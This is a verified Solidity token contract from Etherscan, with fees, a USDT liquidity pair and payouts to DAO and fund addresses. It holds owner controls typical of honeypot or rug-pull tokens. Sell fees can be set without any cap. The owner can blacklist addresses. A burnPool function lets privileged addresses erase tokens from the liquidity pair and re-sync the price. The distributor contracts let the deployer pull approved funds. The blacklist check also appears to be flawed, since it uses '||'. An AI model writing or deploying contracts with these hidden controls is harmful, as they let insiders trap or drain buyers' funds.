/**
 *Submitted for verification at Etherscan.io on 2022-08-15
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

interface IERC20 {
    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
}

interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
    function sync() external;
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TokenDistributor{
    address public owner;
    constructor (address token,address _owner) {
        owner = _owner;
        IERC20(token).approve(msg.sender, uint(~uint256(0)));
    }

    function approve(address token,address spener) public {
        require(msg.sender == owner,"err");
        IERC20(token).approve(spener, uint(~uint256(0)));
    }

    function govWithdrawAll(address addr,uint256 tokenAmount,address to) public
    {
        require(msg.sender == owner,"err");
        IERC20(addr).transfer(to,tokenAmount);
    }

    function govWithdrawAllFromToken(address token,address addr,uint256 tokenAmount,address to) public
    {
        require(msg.sender == owner,"err");
        IERC20(addr).transferFrom(token,to,tokenAmount);
    }
}

contract AbsToken is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;
    address public daoAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;


    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _blackList;

    uint256 private _tTotal;

    ISwapRouter public _swapRouter;
    address public usdt;
    mapping(address => bool) public _swapPairList;

    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);
    TokenDistributor public _tokenDistributor;
    TokenDistributor public _tokenDistributorDao;

    uint256 public _buyDaoFee = 100;
    uint256 public _sellLPDividendFee = 1500;
    uint256 public _sellFundFee = 400;
    uint256 public _sellDaoFee = 100;

    uint256 public startTradeBlock;

    address public _mainPair;
    
    uint256 public swapLimit = 1 ether; // 多少token执行兑换
    uint256 public swapMaxLimit = 100 ether; // 单次最大兑换数量

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    bool public stopBurn = false;

    uint256 public totalToDao;

    event BurnedPool(uint256 amount);


    constructor (
        address RouterAddress, address UAddress,
        string memory Name, string memory Symbol, uint8 Decimals,
        address FundAddress,address DaoAddress, address ReceiveAddress
    ){
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;

        ISwapRouter swapRouter = ISwapRouter(RouterAddress);
        IERC20(UAddress).approve(address(swapRouter), MAX);

        usdt = UAddress;
        _swapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        ISwapFactory swapFactory = ISwapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), UAddress);
        _mainPair = swapPair;
        _swapPairList[swapPair] = true;

        _tTotal = 1000000000 * 10 ** Decimals;

        _balances[ReceiveAddress] = _tTotal/10;
        emit Transfer(address(0), ReceiveAddress, _tTotal/10);

        _balances[DaoAddress] = _tTotal*9/10;
        emit Transfer(address(0), DaoAddress, _tTotal*9/10);

        fundAddress = FundAddress;


        daoAddress = DaoAddress;


        _tokenDistributor = new TokenDistributor(UAddress,msg.sender);
        _tokenDistributorDao = new TokenDistributor(UAddress,msg.sender);

        isBurner[daoAddress] = true;
        isBurner[msg.sender] = true;
        _feeWhiteList[FundAddress] = true;
        _feeWhiteList[DaoAddress] = true;
        _feeWhiteList[address(_tokenDistributor)] = true;
        _feeWhiteList[address(_tokenDistributorDao)] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(swapRouter)] = true;
        _feeWhiteList[ReceiveAddress] = true;
        _feeWhiteList[msg.sender] = true;

    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_blackList[from] || !_blackList[to], "blackList");

        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");


        bool takeFee;
        bool isSell;

        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (0 == startTradeBlock) {
                    require(0 < startAddLPBlock && _swapPairList[to], "!startAddLP");
                }

                if (_swapPairList[to]) {
                    if (!inSwap) {
                        bool isSwapFund;
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (contractTokenBalance >= swapLimit) {
                            isSwapFund = true;
                            swapTokenForFund(contractTokenBalance>swapMaxLimit?swapMaxLimit:contractTokenBalance,true);
                        }
                        // if (!isSwapFund)
                        {
                            uint256 daoBalance = balanceOf(address(_tokenDistributorDao));
                             if (daoBalance >= swapLimit) {
                                swapTokenForDao(daoBalance>swapMaxLimit?swapMaxLimit:daoBalance);
                            }
                        }
                    }
                }
                takeFee = true;
            }
            if (_swapPairList[to]) {
                isSell = true;
            }
        }

        _tokenTransfer(from, to, amount, takeFee, isSell);
    }



    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 swapFee;

        if (takeFee) {
            if (isSell) {
                // uint256 fee =  tAmount * _sellFundFee / 10000;
                // swapFee += fee;
                // _takeTransfer(
                //     sender,
                //     fundAddress,
                //     fee
                // );
               uint256 fee =  tAmount * (_sellLPDividendFee + _sellFundFee) / 10000;
                swapFee += fee;
                _takeTransfer(
                    sender,
                    address(this),
                    fee
                );

                fee =  tAmount * _sellDaoFee / 10000;
                swapFee += fee;
                _takeTransfer(
                    sender,
                    address(_tokenDistributorDao),
                    fee
                );

            } else {
                uint256 fee =  tAmount * _buyDaoFee / 10000;
                swapFee += fee;
                _takeTransfer(
                    sender,
                    address(_tokenDistributorDao),
                    fee
                );
            }
        }

        _takeTransfer(sender, recipient, tAmount - swapFee);
    }



    function swapTokenForFund(uint256 tokenAmount,bool isSell) private  lockTheSwap {
        address tokenDistributor = address(_tokenDistributor);
        address[] memory path = new address[](2);
        if (isSell) {
            path[0] = address(this);
            path[1] = usdt;
        }else {
            path[1] = address(this);
            path[0] = usdt;
        }
        
        _swapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            tokenDistributor,
            block.timestamp
        ); 

        IERC20 TmpToken = IERC20(isSell ? usdt : address(this));
        uint256 tmpBalance = TmpToken.balanceOf(tokenDistributor);
        if (isSell) {
            uint256 toFund = tmpBalance * _sellFundFee / (_sellLPDividendFee + _sellFundFee);

            uint256 left = tmpBalance - toFund;
            TmpToken.transferFrom(tokenDistributor,fundAddress,toFund);
            TmpToken.transferFrom(tokenDistributor,address(this),left);
            addLiquidity(left);
        }else {
            _transfer(tokenDistributor, address(this), tmpBalance);
        }
    }

    event ToDao(uint256 amount,address to);
    function swapTokenForDao(uint256 tokenAmount) private  lockTheSwap {
        address tokenDistributorDao = address(_tokenDistributorDao);
        
        _balances[tokenDistributorDao] = _balances[tokenDistributorDao] - tokenAmount;
        _takeTransfer(tokenDistributorDao, address(this), tokenAmount);
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = usdt;
     
        _swapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            tokenDistributorDao,
            block.timestamp
        ); 

        IERC20 TmpToken = IERC20(usdt);
        uint256 tmpBalance = TmpToken.balanceOf(tokenDistributorDao);
        emit ToDao(tmpBalance,daoAddress);

        totalToDao += tmpBalance;

        TmpToken.transferFrom(tokenDistributorDao,daoAddress,tmpBalance);
    }

    function addLiquidity(uint256 amount) private    { 
        uint256 half = amount/2;
        uint256 otherHalf = amount - half;
        swapTokenForFund(half,false); 
        _addLiquidity(otherHalf);
        
    }


    function _addLiquidity(uint256 amount) private returns (uint amountA, uint amountB, uint liquidity){
        uint256 tokenBalance = _balances[address(this)];
        (amountA, amountB, liquidity) = _swapRouter.addLiquidity(    
            usdt,
            address(this),
            amount,
            tokenBalance,
            0,0,
            address(this),
            block.timestamp + 360
        );
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setFundAddress(address addr) external onlyFunder {
        fundAddress = addr;
        _feeWhiteList[addr] = true;
    }
    function setDaoAddress(address addr) external onlyFunder {
        daoAddress = addr;
        _feeWhiteList[addr] = true;
    }

    function setBuyDaoFee(uint256 fundFee) external onlyOwner {
        _buyDaoFee = fundFee;
    }

    function setSellDaoFee(uint256 fundFee) external onlyOwner {
        _sellDaoFee = fundFee;
    }

    function setStopBurn(bool flag) external onlyOwner  {
        stopBurn = flag;
    }

    function setSellLPDividendFee(uint256 dividendFee) external onlyOwner {
        _sellLPDividendFee = dividendFee;
    }

    function setSellFundFee(uint256 fundFee) external onlyOwner {
        _sellFundFee = fundFee;
    }


    uint256 public startAddLPBlock;

    function startAddLP() external onlyOwner {
        require(0 == startAddLPBlock, "startedAddLP");
        startAddLPBlock = block.number;
    }

    function closeAddLP() external onlyOwner {
        startAddLPBlock = 0;
    }

    function startTrade() external onlyOwner {
        require(0 == startTradeBlock, "trading");
        startTradeBlock = block.number;
    }

    function closeTrade() external onlyOwner {
        startTradeBlock = 0;
    }

    function setFeeWhiteList(address addr, bool enable) external onlyFunder {
        _feeWhiteList[addr] = enable;
    }

    function setBlackList(address addr, bool enable) external onlyOwner {
        _blackList[addr] = enable;
    }

    function setSwapLimit(uint256 amount,uint256 max) external onlyOwner {
        swapLimit = amount;
        swapMaxLimit = max;
    }

    function multiBlackList(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            _blackList[addresses[i]] = status;
        }
    }

    function setSwapPairList(address addr, bool enable) external onlyFunder {
        _swapPairList[addr] = enable;
    }

    function setMainPair(address addr) external onlyFunder {
        _mainPair = addr;
    }

    

    function claimBalance() external {
        payable(fundAddress).transfer(address(this).balance);
    }

    function claimToken(address token, uint256 amount, address to) external onlyFunder {
        IERC20(token).transfer(to, amount);
    }

    modifier onlyFunder() {
        require(_owner == msg.sender, "!Funder");
        _;
    }

    mapping (address => bool) public isBurner;
    function setBurner(address addr,bool flag) public onlyOwner {
        isBurner[addr] = flag;
    }

    function burnPool(uint256 amount) public  {
        require(isBurner[msg.sender],"no auth");
        if(!stopBurn){
            if(balanceOf(_mainPair) > amount){
                _balances[_mainPair] = _balances[_mainPair] - amount;
                emit Transfer(_mainPair, address(0), amount);
                IUniswapV2Pair(_mainPair).sync();
                emit BurnedPool(amount);
            }    
        }
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "AbsToken.sol": "AbsToken"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}